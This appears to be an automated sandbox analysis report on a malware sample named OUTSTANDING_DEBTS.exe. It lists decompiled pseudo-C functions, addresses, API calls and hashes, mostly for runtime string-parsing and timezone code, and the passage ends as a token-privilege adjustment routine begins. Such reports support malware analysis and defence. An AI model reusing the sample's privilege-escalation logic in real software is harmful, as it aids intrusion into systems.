									_v6 = __al;
									__ecx = _v28;
									__edx = _a4;
									 *(_a4 +  &(2[_v28])) & 0x0000ffff = E00C53370( *(_a4 +  &(2[_v28])) & 0x0000ffff);
									_v5 = __al;
									__ecx = _v6 & 0x000000ff;
									__eflags = (_v6 & 0x000000ff) - 0xff;
									if((_v6 & 0x000000ff) == 0xff) {
										L27:
										goto L30;
									}
									__edx = _v5 & 0x000000ff;
									__eflags = (_v5 & 0x000000ff) - 0xff;
									if((_v5 & 0x000000ff) != 0xff) {
										_v6 & 0x000000ff = (_v6 & 0x000000ff) << 4;
										__ecx = _v5 & 0x000000ff;
										__eax = (_v6 & 0x000000ff) << 0x00000004 | _v5 & 0x000000ff;
										_v24 = _v24 + _v32;
										 *((char*)(_v24 + _v32)) = __al;
										_v32 =  &(_v32[0]);
										_v32 =  &(_v32[0]);
										__edx = _v28;
										__edx = 2 + _v28;
										__eflags = __edx;
										_v28 = __edx;
										continue;
									}
									goto L27;
								}
							} else {
								__edx = _v28;
								__eax = _a4;
								__cx =  *(__eax + __edx * 2);
								_v8 =  *(__eax + __edx * 2);
								__edx = _v8 & 0x0000ffff;
								__eax = E00C53370(_v8 & 0x0000ffff);
								_v5 = __al;
								_v28 = _v28 + 1;
								_v28 = _v28 + 1;
								__ecx = _v5 & 0x000000ff;
								__eflags = (_v5 & 0x000000ff) - 0xff;
								if((_v5 & 0x000000ff) != 0xff) {
									_v24 = _v24 + _v32;
									__al = _v5;
									 *((char*)(_v24 + _v32)) = __al;
									__ecx = _v32;
									__ecx =  &(_v32[0]);
									__eflags = __ecx;
									_v32 = __ecx;
									goto L22;
								}
								L30:
								_push(0x70);
								__eax = E00C53610();
								__esp = __esp + 4;
								_v24 = 0;
							}
							goto L52;
						case 2:
							2 = 2 << 0;
							__edx = _a4;
							 *(_a4 + (2 << 0)) & 0x0000ffff = E00C61C20( *(_a4 + (2 << 0)) & 0x0000ffff);
							__ecx = __ax & 0x0000ffff;
							__eflags = (__ax & 0x0000ffff) - 0x78;
							if((__ax & 0x0000ffff) != 0x78) {
								_v44 = 0xa;
							} else {
								_v44 = 0x10;
							}
							__edx = _v44;
							__eax =  &_v56;
							__ecx = _a4;
							_v48 = E00C63D24(_a4, _a4,  &_v56, _v44);
							__edx = _v56;
							__eax =  *_v56 & 0x0000ffff;
							__eflags =  *_v56 & 0x0000ffff;
							if(( *_v56 & 0x0000ffff) != 0) {
								L12:
								_push(0x6f);
								__eax = E00C53610();
								__esp = __esp + 4;
								goto L52;
							} else {
								__ecx = 2;
								__edx = 0;
								__eax = _a4;
								__ecx =  *__eax & 0x0000ffff;
								__eflags = ( *__eax & 0x0000ffff) - 0x2d;
								if(( *__eax & 0x0000ffff) == 0x2d) {
									goto L12;
								}
								__eflags = _v48 - 0xffffffff;
								if(__eflags != 0) {
									L13:
									__edx = _a16;
									 *_a16 = 4;
									__eax = _a16;
									__ecx =  *_a16;
									_push(__ecx);
									__eax = E00C53330(__ecx);
									__esp = __esp + 4;
									_v24 = __eax;
									__edx = 4;
									__eax = 0;
									__ecx = _v24;
									__edx = _v48;
									 *_v24 = _v48;
									L52:
									return _v24;
								}
								__eax = E00C61D29(__eflags);
								__eflags =  *__eax - 0x22;
								if( *__eax != 0x22) {
									goto L13;
								}
								goto L12;
							}
						case 3:
							goto L51;
						case 4:
							__ecx = _a4;
							_v52 = lstrlenW(__ecx);
							__edx = _v52;
							__eax = __edx + __edx + 4;
							_push(__edx + __edx + 4);
							__eax = E00C53330(__ecx);
							__esp = __esp + 4;
							_v20 = __eax;
							_v16 = 0;
							_v12 = 0;
							while(1) {
								__eax = _v16;
								__eflags = _v16 - _v52;
								if(_v16 >= _v52) {
									break;
								}
								__ecx = _a12 & 0x0000ffff;
								__eflags = _a12 & 0x0000ffff;
								if((_a12 & 0x0000ffff) != 0) {
									L38:
									__eax = _v16;
									__ecx = _a4;
									__edx = _a4[_v16] & 0x0000ffff;
									__eax = _a12 & 0x0000ffff;
									__eflags = __edx - (_a12 & 0x0000ffff);
									if(__edx != (_a12 & 0x0000ffff)) {
										__ecx = _v12;
										__edx = _v20;
										__eax = _v16;
										__esi = _a4;
										__ax =  *((intOrPtr*)(__esi + __eax * 2));
										_v20[_v12] =  *((intOrPtr*)(__esi + __eax * 2));
									} else {
										__ecx = 0;
										__edx = _v12;
										__eax = _v20;
										_v20[_v12] = __cx;
									}
									L41:
									__eflags = _v12;
									if(_v12 == 0) {
										L46:
										_v16 = _v16 + 1;
										_v16 = _v16 + 1;
										__edx = _v12;
										__edx = _v12 + 1;
										__eflags = __edx;
										_v12 = __edx;
										continue;
									}
									__ecx = _v12;
									__edx = _v20;
									__eax =  *(__edx + __ecx * 2 - 2) & 0x0000ffff;
									__eflags =  *(__edx + __ecx * 2 - 2) & 0x0000ffff;
									if(( *(__edx + __ecx * 2 - 2) & 0x0000ffff) != 0) {
										goto L46;
									}
									__ecx = _v12;
									__edx = _v20;
									__eax =  *(__edx + __ecx * 2) & 0x0000ffff;
									__eflags =  *(__edx + __ecx * 2) & 0x0000ffff;
									if(( *(__edx + __ecx * 2) & 0x0000ffff) == 0) {
										L45:
										_push(0x7b);
										__eax = E00C53610();
										__esp = __esp + 4;
										__eax = 0;
										return 0;
									}
									__eflags = _v12 - 1;
									if(_v12 != 1) {
										goto L46;
									}
									goto L45;
								}
								__edx = _v16;
								__eax = _a4;
								__ecx =  *(__eax + __edx * 2) & 0x0000ffff;
								__eflags = ( *(__eax + __edx * 2) & 0x0000ffff) - 0x5c;
								if(( *(__eax + __edx * 2) & 0x0000ffff) != 0x5c) {
									goto L38;
								}
								__edx = _v16;
								__eax = _a4;
								__ecx =  *( &(2[__edx]) + __eax) & 0x0000ffff;
								__eflags = ( *( &(2[__edx]) + __eax) & 0x0000ffff) - 0x30;
								if(( *( &(2[__edx]) + __eax) & 0x0000ffff) != 0x30) {
									goto L38;
								}
								__edx = 0;
								__eax = _v12;
								__ecx = _v20;
								_v20[_v12] = __dx;
								_v16 = _v16 + 1;
								_v16 = _v16 + 1;
								goto L41;
							}
							__ecx = 0;
							__edx = _v12;
							__eax = _v20;
							_v20[_v12] = __cx;
							__eflags = _v12;
							if(_v12 != 0) {
								__ecx = _v12;
								__edx = _v20;
								__eax =  *(__edx + __ecx * 2 - 2) & 0x0000ffff;
								__eflags =  *(__edx + __ecx * 2 - 2) & 0x0000ffff;
								if(( *(__edx + __ecx * 2 - 2) & 0x0000ffff) != 0) {
									_v12 = _v12 + 1;
									_v12 = _v12 + 1;
									__edx = 0;
									__eflags = 0;
									__eax = _v12;
									__ecx = _v20;
									_v20[_v12] = __dx;
								}
							}
							__edx = _v12;
							__eax = __edx + 2 + __edx;
							__ecx = _a16;
							 *_a16 = __edx + 2 + __edx;
							__eax = _v20;
							return _v20;
					}
				}
			}

0x00c52f47
0x00c52f51
0x00c52f5b
0x00c52f5d
0x00c52f5d
0x00c52f67
0x00c52f6e
0x00c532ec
0x00c532ef
0x00c532f3
0x00c532f4
0x00c532f6
0x00000000
0x00c52f74
0x00c52f77
0x00000000
0x00c52f82
0x00c52f88
0x00c52f8f
0x00c52f96
0x00c52f9f
0x00c52faa
0x00000000
0x00000000
0x00c53069
0x00c53070
0x00c53077
0x00c53081
0x00c53084
0x00c53087
0x00c53087
0x00c5308c
0x00c5308e
0x00c5308f
0x00c53092
0x00c53092
0x00c53092
0x00c53093
0x00c53096
0x00c53097
0x00c53099
0x00c5309b
0x00c5309e
0x00c530a0
0x00c530a3
0x00c530a5
0x00c530a6
0x00c530ab
0x00c530ae
0x00c530b1
0x00c530b4
0x00c530b4
0x00c530ba
0x00c530bc
0x00c530bd
0x00c530c0
0x00c530c0
0x00c530c0
0x00c530c1
0x00c530c3
0x00c53111
0x00c5311c
0x00c5311f
0x00c53122
0x00c53125
0x00000000
0x00000000
0x00c53127
0x00c5312a
0x00c53132
0x00c5313a
0x00c5313d
0x00c53140
0x00c53149
0x00c53151
0x00c53154
0x00c53158
0x00c5315e
0x00c5316c
0x00000000
0x00c5316c
0x00c53160
0x00c53164
0x00c5316a
0x00c53172
0x00c53175
0x00c53179
0x00c5317e
0x00c53181
0x00c53186
0x00c53189
0x00c53113
0x00c53116
0x00c53116
0x00c53119
0x00000000
0x00c53119
0x00000000
0x00c5316a
0x00c530c5
0x00c530c5
0x00c530c8
0x00c530cb
0x00c530cf
0x00c530d3
0x00c530d8
0x00c530e0
0x00c530e6
0x00c530e9
0x00c530ec
0x00c530f0
0x00c530f6
0x00c53100
0x00c53103
0x00c53106
0x00c53108
0x00c5310b
0x00c5310b
0x00c5310e
0x00000000
0x00c5310e
0x00c53193
0x00c53193
0x00c53195
0x00c5319a
0x00c5319d
0x00c5319d
0x00000000
0x00000000
0x00c52fba
0x00c52fbd
0x00c52fc5
0x00c52fcd
0x00c52fd0
0x00c52fd3
0x00c52fde
0x00c52fd5
0x00c52fd5
0x00c52fd5
0x00c52fe5
0x00c52fe9
0x00c52fed
0x00c52ff9
0x00c52ffc
0x00c52fff
0x00c53002
0x00c53004
0x00c5302a
0x00c5302a
0x00c5302c
0x00c53031
0x00000000
0x00c53006
0x00c53006
0x00c5300b
0x00c5300e
0x00c53011
0x00c53015
0x00c53018
0x00000000
0x00000000
0x00c5301a
0x00c5301e
0x00c53039
0x00c53039
0x00c5303c
0x00c53042
0x00c53045
0x00c53047
0x00c53048
0x00c5304d
0x00c53050
0x00c53053
0x00c53058
0x00c5305b
0x00c5305e
0x00c53061
0x00c532fe
0x00000000
0x00c532fe
0x00c53020
0x00c53025
0x00c53028
0x00000000
0x00000000
0x00000000
0x00c53028
0x00000000
0x00000000
0x00000000
0x00c531a9
0x00c531b3
0x00c531b6
0x00c531b9
0x00c531bd
0x00c531be
0x00c531c3
0x00c531c6
0x00c531c9
0x00c531d0
0x00c531eb
0x00c531eb
0x00c531ee
0x00c531f1
0x00000000
0x00000000
0x00c531f7
0x00c531fb
0x00c531fd
0x00c53235
0x00c53235
0x00c53238
0x00c5323b
0x00c5323f
0x00c53243
0x00c53245
0x00c53255
0x00c53258
0x00c5325b
0x00c5325e
0x00c53261
0x00c53265
0x00c53247
0x00c53247
0x00c53249
0x00c5324c
0x00c5324f
0x00c5324f
0x00c53269
0x00c53269
0x00c5326d
0x00c532a0
0x00c531dc
0x00c531df
0x00c531e2
0x00c531e5
0x00c531e5
0x00c531e8
0x00000000
0x00c531e8
0x00c5326f
0x00c53272
0x00c53275
0x00c5327a
0x00c5327c
0x00000000
0x00000000
0x00c5327e
0x00c53281
0x00c53284
0x00c53288
0x00c5328a
0x00c53292
0x00c53292
0x00c53294
0x00c53299
0x00c5329c
0x00000000
0x00c5329c
0x00c5328c
0x00c53290
0x00000000
0x00000000
0x00000000
0x00c53290
0x00c531ff
0x00c53202
0x00c53205
0x00c53209
0x00c5320c
0x00000000
0x00000000
0x00c5320e
0x00c53211
0x00c53214
0x00c53219
0x00c5321c
0x00000000
0x00000000
0x00c5321e
0x00c53220
0x00c53223
0x00c53226
0x00c5322d
0x00c53230
0x00000000
0x00c53230
0x00c532a5
0x00c532a7
0x00c532aa
0x00c532ad
0x00c532b1
0x00c532b5
0x00c532b7
0x00c532ba
0x00c532bd
0x00c532c2
0x00c532c4
0x00c532c9
0x00c532cc
0x00c532cf
0x00c532cf
0x00c532d1
0x00c532d4
0x00c532d7
0x00c532d7
0x00c532c4
0x00c532db
0x00c532de
0x00c532e2
0x00c532e5
0x00c532e7
0x00000000
0x00000000
0x00c52f77

APIs

lstrlenW.KERNEL32(?), ref: 00C52F82
lstrcpyW.KERNEL32 ref: 00C52FAA

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 0f990f9f108411ef5abae8eb4a24a6d549a47863a8180deaa54801ec22ee32b5
Instruction ID: 64d9c2a61d9d8dd753f43007225ca1b064eea0c28d416d1f05b2ab5ef0166a73
Opcode Fuzzy Hash: 0f990f9f108411ef5abae8eb4a24a6d549a47863a8180deaa54801ec22ee32b5
Instruction Fuzzy Hash: DB817FB8900259DBCF14CF94D895BAEB7B1FF48341F108169EC15AB291D734AB84CBA5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: OUTSTANDING_DEBTS.exe PID: 5376 Parent PID: 464 OUTSTANDING_DEBTS.exeCOMMON

Executed Functions

Function 004BA019, Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 370
timeCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E004BA019(void* __ebx, void* __edi, signed int __esi, signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				char _v52;
				signed int _v56;
				signed int _v60;
				signed int _v100;
				char _v272;
				intOrPtr _v276;
				char _v280;
				char _v356;
				char _v360;
				void* __ebp;
				signed int _t65;
				signed int _t72;
				signed int _t74;
				signed int _t78;
				signed int _t85;
				long _t91;
				signed int* _t94;
				signed int _t97;
				signed int _t100;
				signed int _t104;
				void* _t111;
				signed int _t114;
				void* _t115;
				void* _t117;
				void* _t118;
				void* _t120;
				signed int _t122;
				signed int _t123;
				signed int* _t126;
				signed int _t127;
				void* _t130;
				void* _t132;
				signed int _t133;
				signed int _t135;
				void* _t138;
				intOrPtr _t139;
				void* _t141;
				signed int _t148;
				signed int _t149;
				signed int _t152;
				signed int _t156;
				signed int _t159;
				intOrPtr* _t164;
				signed int _t165;
				intOrPtr* _t166;
				void* _t167;
				intOrPtr _t168;
				void* _t169;
				signed int _t170;
				void* _t174;
				signed int _t176;
				intOrPtr* _t177;
				signed int _t181;
				signed int _t182;
				void* _t189;
				signed int _t190;
				void* _t191;
				signed int _t192;

				_t176 = __esi;
				_t169 = __edi;
				_t65 = E004B99E4();
				_v8 = _v8 & 0x00000000;
				_t135 = _t65;
				_v16 = _v16 & 0x00000000;
				_v12 = _t135;
				if(E004B9A42( &_v8) != 0 || E004B99EA( &_v16) != 0) {
					L46:
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E004A5EA4(0);
					asm("int3");
					_t189 = _t191;
					_t192 = _t191 - 0x10;
					_push(_t135);
					_t177 = E004B99E4();
					_v52 = 0;
					_v56 = 0;
					_v60 = 0;
					_t72 = E004B9A42( &_v52);
					_t141 = _t176;
					__eflags = _t72;
					if(_t72 != 0) {
						L66:
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						E004A5EA4(_t72);
						asm("int3");
						_push(_t189);
						_t190 = _t192;
						_t74 =  *0x4eb018; // 0xa679d9c
						_v100 = _t74 ^ _t190;
						 *0x4eb464 =  *0x4eb464 | 0xffffffff;
						 *0x4eb458 =  *0x4eb458 | 0xffffffff;
						_push(0);
						_push(_t177);
						_push(_t169);
						_t137 = "TZ";
						_t170 = 0;
						 *0x4eea10 = 0;
						_t78 = E004AC555(__eflags,  &_v360,  &_v356, 0x100, "TZ");
						__eflags = _t78;
						if(_t78 != 0) {
							__eflags = _t78 - 0x22;
							if(_t78 == 0x22) {
								_t182 = E004B3009(_t141, _v276);
								__eflags = _t182;
								if(__eflags != 0) {
									_t85 = E004AC555(__eflags,  &_v280, _t182, _v276, _t137);
									__eflags = _t85;
									if(_t85 == 0) {
										E004B2FCF(0);
										_t170 = _t182;
									} else {
										_push(_t182);
										goto L72;
									}
								} else {
									_push(0);
									L72:
									E004B2FCF();
								}
							}
						} else {
							_t170 =  &_v272;
						}
						asm("sbb esi, esi");
						_t181 =  ~(_t170 -  &_v272) & _t170;
						__eflags = _t170;
						if(_t170 == 0) {
							L80:
							L47(); // executed
						} else {
							__eflags =  *_t170;
							if( *_t170 == 0) {
								goto L80;
							} else {
								_push(_t170);
								E004BA019(_t137, _t170, _t181);
							}
						}
						E004B2FCF(_t181);
						__eflags = _v16 ^ _t190;
						return E0049CE1D(_v16 ^ _t190);
					} else {
						_t72 = E004B99EA( &_v16);
						_pop(_t141);
						__eflags = _t72;
						if(_t72 != 0) {
							goto L66;
						} else {
							_t72 = E004B9A16( &_v20);
							_pop(_t141);
							__eflags = _t72;
							if(_t72 != 0) {
								goto L66;
							} else {
								E004B2FCF( *0x4eea08);
								 *0x4eea08 = 0;
								 *_t192 = 0x4eea18; // executed
								_t91 = GetTimeZoneInformation(??); // executed
								__eflags = _t91 - 0xffffffff;
								if(_t91 != 0xffffffff) {
									_t148 =  *0x4eea18 * 0x3c;
									_t165 =  *0x4eea6c; // 0x0
									_push(_t169);
									 *0x4eea10 = 1;
									_v12 = _t148;
									__eflags =  *0x4eea5e; // 0xb
									if(__eflags != 0) {
										_t149 = _t148 + _t165 * 0x3c;
										__eflags = _t149;
										_v12 = _t149;
									}
									__eflags =  *0x4eeab2; // 0x3
									if(__eflags == 0) {
										L56:
										_v16 = 0;
										_v20 = 0;
									} else {
										_t104 =  *0x4eeac0; // 0xffffffc4
										__eflags = _t104;
										if(_t104 == 0) {
											goto L56;
										} else {
											_v16 = 1;
											_v20 = (_t104 - _t165) * 0x3c;
										}
									}
									_t174 = E004AE4AF();
									_t97 =  *0x4f003c(_t174, 0, "Pacific Standard Time", 0xffffffff,  *_t177, 0x3f, 0,  &_v24);
									__eflags = _t97;
									if(_t97 == 0) {
										L60:
										 *((char*)( *_t177)) = 0;
									} else {
										__eflags = _v24;
										if(_v24 != 0) {
											goto L60;
										} else {
											 *((char*)( *_t177 + 0x3f)) = 0;
										}
									}
									_t100 =  *0x4f003c(_t174, 0, "Pacific Daylight Time", 0xffffffff,  *((intOrPtr*)(_t177 + 4)), 0x3f, 0,  &_v24);
									__eflags = _t100;
									if(_t100 == 0) {
										L64:
										 *((char*)( *((intOrPtr*)(_t177 + 4)))) = 0;
									} else {
										__eflags = _v24;
										if(_v24 != 0) {
											goto L64;
										} else {
											 *((char*)( *((intOrPtr*)(_t177 + 4)) + 0x3f)) = 0;
										}
									}
								}
								 *(E004B99DE()) = _v12;
								 *((intOrPtr*)(E004B99D2())) = _v16;
								_t94 = E004B99D8();
								 *_t94 = _v20;
								return _t94;
							}
						}
					}
				} else {
					_t166 =  *0x4eea08; // 0x0
					_t176 = _a4;
					if(_t166 == 0) {
						L12:
						E004B2FCF(_t166);
						_t152 = _t176;
						_t12 = _t152 + 1; // 0x4ba40a
						_t167 = _t12;
						do {
							_t111 =  *_t152;
							_t152 = _t152 + 1;
						} while (_t111 != 0);
						_t13 = _t152 - _t167 + 1; // 0x4ba40b
						 *0x4eea08 = E004B3009(_t152 - _t167, _t13);
						_t114 = E004B2FCF(0);
						_t168 =  *0x4eea08; // 0x0
						if(_t168 == 0) {
							goto L45;
						} else {
							_t156 = _t176;
							_push(_t169);
							_t14 = _t156 + 1; // 0x4ba40a
							_t169 = _t14;
							do {
								_t115 =  *_t156;
								_t156 = _t156 + 1;
							} while (_t115 != 0);
							_t15 = _t156 - _t169 + 1; // 0x4ba40b
							_t117 = E004AD3A2(_t168, _t15, _t176);
							_t191 = _t191 + 0xc;
							if(_t117 == 0) {
								_t169 = 3;
								_push(_t169);
								_t118 = E004C18F1(_t157,  *_t135, 0x40, _t176);
								_t191 = _t191 + 0x10;
								if(_t118 == 0) {
									while( *_t176 != 0) {
										_t176 = _t176 + 1;
										_t169 = _t169 - 1;
										if(_t169 != 0) {
											continue;
										}
										break;
									}
									_pop(_t169);
									_t135 = _t135 & 0xffffff00 |  *_t176 == 0x0000002d;
									if(_t135 != 0) {
										_t176 = _t176 + 1;
									}
									_t159 = E004AC2E8(_t157, _t176) * 0xe10;
									_v8 = _t159;
									while(1) {
										_t120 =  *_t176;
										if(_t120 != 0x2b && (_t120 < 0x30 || _t120 > 0x39)) {
											break;
										}
										_t176 = _t176 + 1;
									}
									__eflags =  *_t176 - 0x3a;
									if( *_t176 == 0x3a) {
										_t176 = _t176 + 1;
										_t159 = _v8 + E004AC2E8(_t159, _t176) * 0x3c;
										_v8 = _t159;
										while(1) {
											_t130 =  *_t176;
											__eflags = _t130 - 0x30;
											if(_t130 < 0x30) {
												break;
											}
											__eflags = _t130 - 0x39;
											if(_t130 <= 0x39) {
												_t176 = _t176 + 1;
												__eflags = _t176;
												continue;
											}
											break;
										}
										__eflags =  *_t176 - 0x3a;
										if( *_t176 == 0x3a) {
											_t176 = _t176 + 1;
											_t159 = _v8 + E004AC2E8(_t159, _t176);
											_v8 = _t159;
											while(1) {
												_t132 =  *_t176;
												__eflags = _t132 - 0x30;
												if(_t132 < 0x30) {
													goto L38;
												}
												__eflags = _t132 - 0x39;
												if(_t132 <= 0x39) {
													_t176 = _t176 + 1;
													__eflags = _t176;
													continue;
												}
												goto L38;
											}
										}
									}
									L38:
									__eflags = _t135;
									if(_t135 != 0) {
										_v8 = _t159;
									}
									__eflags =  *_t176;
									_t122 = 0 |  *_t176 != 0x00000000;
									_v16 = _t122;
									__eflags = _t122;
									_t123 = _v12;
									if(_t122 == 0) {
										_t29 = _t123 + 4; // 0xfffffddd
										 *((char*)( *_t29)) = 0;
										L44:
										 *(E004B99DE()) = _v8;
										_t126 = E004B99D2();
										 *_t126 = _v16;
										return _t126;
									}
									_push(3);
									_t28 = _t123 + 4; // 0xfffffddd
									_t127 = E004C18F1(_t159,  *_t28, 0x40, _t176);
									_t191 = _t191 + 0x10;
									__eflags = _t127;
									if(_t127 == 0) {
										goto L44;
									}
								}
							}
							goto L46;
						}
					} else {
						_t164 = _t166;
						_t133 = _t176;
						while(1) {
							_t138 =  *_t133;
							if(_t138 !=  *_t164) {
								break;
							}
							if(_t138 == 0) {
								L8:
								_t114 = 0;
							} else {
								_t9 = _t133 + 1; // 0xdde805eb
								_t139 =  *_t9;
								if(_t139 !=  *((intOrPtr*)(_t164 + 1))) {
									break;
								} else {
									_t133 = _t133 + 2;
									_t164 = _t164 + 2;
									if(_t139 != 0) {
										continue;
									} else {
										goto L8;
									}
								}
							}
							L10:
							if(_t114 == 0) {
								L45:
								return _t114;
							} else {
								_t135 = _v12;
								goto L12;
							}
							goto L82;
						}
						asm("sbb eax, eax");
						_t114 = _t133 | 0x00000001;
						__eflags = _t114;
						goto L10;
					}
				}
				L82:
			}

0x004ba019
0x004ba019
0x004ba023
0x004ba028
0x004ba02c
0x004ba02e
0x004ba036
0x004ba041
0x004ba1e1
0x004ba1e3
0x004ba1e4
0x004ba1e5
0x004ba1e6
0x004ba1e7
0x004ba1e8
0x004ba1ed
0x004ba1f1
0x004ba1f3
0x004ba1f6
0x004ba1fd
0x004ba204
0x004ba208
0x004ba20b
0x004ba20e
0x004ba213
0x004ba214
0x004ba216
0x004ba33e
0x004ba33e
0x004ba33f
0x004ba340
0x004ba341
0x004ba342
0x004ba343
0x004ba348
0x004ba34b
0x004ba34c
0x004ba354
0x004ba35b
0x004ba35e
0x004ba36b
0x004ba372
0x004ba373
0x004ba374
0x004ba375
0x004ba37a
0x004ba389
0x004ba390
0x004ba398
0x004ba39a
0x004ba3a4
0x004ba3a7
0x004ba3b4
0x004ba3b7
0x004ba3b9
0x004ba3d2
0x004ba3da
0x004ba3dc
0x004ba3e2
0x004ba3e7
0x004ba3de
0x004ba3de
0x00000000
0x004ba3de
0x004ba3bb
0x004ba3bb
0x004ba3bc
0x004ba3bc
0x004ba3bc
0x004ba3e9
0x004ba39c
0x004ba39c
0x004ba39c
0x004ba3f6
0x004ba3f8
0x004ba3fa
0x004ba3fc
0x004ba40c
0x004ba40c
0x004ba3fe
0x004ba3fe
0x004ba401
0x00000000
0x004ba403
0x004ba403
0x004ba404
0x004ba409
0x004ba401
0x004ba412
0x004ba41d
0x004ba428
0x004ba21c
0x004ba220
0x004ba225
0x004ba226
0x004ba228
0x00000000
0x004ba22e
0x004ba232
0x004ba237
0x004ba238
0x004ba23a
0x00000000
0x004ba240
0x004ba246
0x004ba24b
0x004ba251
0x004ba258
0x004ba25e
0x004ba261
0x004ba267
0x004ba26e
0x004ba274
0x004ba278
0x004ba27e
0x004ba281
0x004ba288
0x004ba28d
0x004ba28d
0x004ba28f
0x004ba28f
0x004ba292
0x004ba299
0x004ba2b1
0x004ba2b1
0x004ba2b4
0x004ba29b
0x004ba29b
0x004ba2a0
0x004ba2a2
0x00000000
0x004ba2a4
0x004ba2a6
0x004ba2ac
0x004ba2ac
0x004ba2a2
0x004ba2bc
0x004ba2d0
0x004ba2d6
0x004ba2d8
0x004ba2e6
0x004ba2e8
0x004ba2da
0x004ba2da
0x004ba2dd
0x00000000
0x004ba2df
0x004ba2e1
0x004ba2e1
0x004ba2dd
0x004ba2fd
0x004ba304
0x004ba306
0x004ba315
0x004ba318
0x004ba308
0x004ba308
0x004ba30b
0x00000000
0x004ba30d
0x004ba310
0x004ba310
0x004ba30b
0x004ba306
0x004ba322
0x004ba32c
0x004ba331
0x004ba336
0x004ba33d
0x004ba33d
0x004ba23a
0x004ba228
0x004ba059
0x004ba059
0x004ba05f
0x004ba064
0x004ba09a
0x004ba09b
0x004ba0a1
0x004ba0a3
0x004ba0a3
0x004ba0a6
0x004ba0a6
0x004ba0a8
0x004ba0a9
0x004ba0af
0x004ba0ba
0x004ba0bf
0x004ba0c4
0x004ba0ce
0x00000000
0x004ba0d4
0x004ba0d4
0x004ba0d6
0x004ba0d7
0x004ba0d7
0x004ba0da
0x004ba0da
0x004ba0dc
0x004ba0dd
0x004ba0e4
0x004ba0e9
0x004ba0ee
0x004ba0f3
0x004ba0fb
0x004ba0fc
0x004ba102
0x004ba107
0x004ba10c
0x004ba112
0x004ba117
0x004ba118
0x004ba11b
0x00000000
0x00000000
0x00000000
0x004ba11b
0x004ba120
0x004ba121
0x004ba126
0x004ba128
0x004ba128
0x004ba130
0x004ba136
0x004ba139
0x004ba139
0x004ba13d
0x00000000
0x00000000
0x004ba147
0x004ba147
0x004ba14a
0x004ba14d
0x004ba14f
0x004ba15d
0x004ba15f
0x004ba169
0x004ba169
0x004ba16b
0x004ba16d
0x00000000
0x00000000
0x004ba164
0x004ba166
0x004ba168
0x004ba168
0x00000000
0x004ba168
0x00000000
0x004ba166
0x004ba16f
0x004ba172
0x004ba174
0x004ba17f
0x004ba181
0x004ba18b
0x004ba18b
0x004ba18d
0x004ba18f
0x00000000
0x00000000
0x004ba186
0x004ba188
0x004ba18a
0x004ba18a
0x00000000
0x004ba18a
0x00000000
0x004ba188
0x004ba18b
0x004ba172
0x004ba191
0x004ba191
0x004ba193
0x004ba197
0x004ba197
0x004ba19c
0x004ba19e
0x004ba1a1
0x004ba1a4
0x004ba1a6
0x004ba1a9
0x004ba1c1
0x004ba1c4
0x004ba1c7
0x004ba1cf
0x004ba1d4
0x004ba1d9
0x00000000
0x004ba1d9
0x004ba1ab
0x004ba1b0
0x004ba1b3
0x004ba1b8
0x004ba1bb
0x004ba1bd
0x00000000
0x00000000
0x004ba1bf
0x004ba10c
0x00000000
0x004ba0f3
0x004ba066
0x004ba066
0x004ba068
0x004ba06a
0x004ba06a
0x004ba06e
0x00000000
0x00000000
0x004ba072
0x004ba086
0x004ba086
0x004ba074
0x004ba074
0x004ba074
0x004ba07a
0x00000000
0x004ba07c
0x004ba07c
0x004ba07f
0x004ba084
0x00000000
0x00000000
0x00000000
0x00000000
0x004ba084
0x004ba07a
0x004ba08f
0x004ba091
0x004ba1e0
0x004ba1e0
0x004ba097
0x004ba097
0x00000000
0x004ba097
0x00000000
0x004ba091
0x004ba08a
0x004ba08c
0x004ba08c
0x00000000
0x004ba08c
0x004ba064
0x00000000

APIs

_free.LIBCMT ref: 004BA09B
_free.LIBCMT ref: 004BA0BF
_free.LIBCMT ref: 004BA246
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,004078B0), ref: 004BA258
_free.LIBCMT ref: 004BA412

Strings

Pacific Daylight Time, xrefs: 004BA2F6
Pacific Standard Time, xrefs: 004BA2C9

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free$InformationTimeZone
String ID: Pacific Daylight Time$Pacific Standard Time
API String ID: 597776487-1154798116
Opcode ID: c2bbfe1951e993ec81f277e3179625c8652b62e7d3a059a82c11f95731624302
Instruction ID: c7439f9608b8c8f052815cb7c37f01633d4ad8815d3d8a48d05f79c4e51f4a0d
Opcode Fuzzy Hash: c2bbfe1951e993ec81f277e3179625c8652b62e7d3a059a82c11f95731624302
Instruction Fuzzy Hash: EDC12871904244ABDB249F7E8C81AEB7BB8EF41314F1445AFE4809B352E7388E51C77A

Uniqueness

Uniqueness Score: -1.00%

Function 00447818, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00447818(void* __ebx, void* __edx, void* __edi, void* __esi) {
				signed int _v8;
				int _v12;
				intOrPtr _v16;
				struct _TOKEN_PRIVILEGES _v24;
				signed int _v28;
				intOrPtr _v32;
				struct _TOKEN_PRIVILEGES _v40;
				struct _LUID _v48;
				long _v52;
				void* _v56;
				signed int _t28;
				int _t34;
				void* _t57;
				long _t60;
				signed int _t63;

				_t65 = (_t63 & 0xfffffff8) - 0x34;
				_t28 =  *0x4eb018; // 0xa679d9c
				_v8 = _t28 ^ (_t63 & 0xfffffff8) - 0x00000034;
				_t60 = 0x10;
				_v52 = _t60;
				_t57 = __edx;
				if(OpenProcessToken(GetCurrentProcess(), 0x22,  &_v56) != 0) {
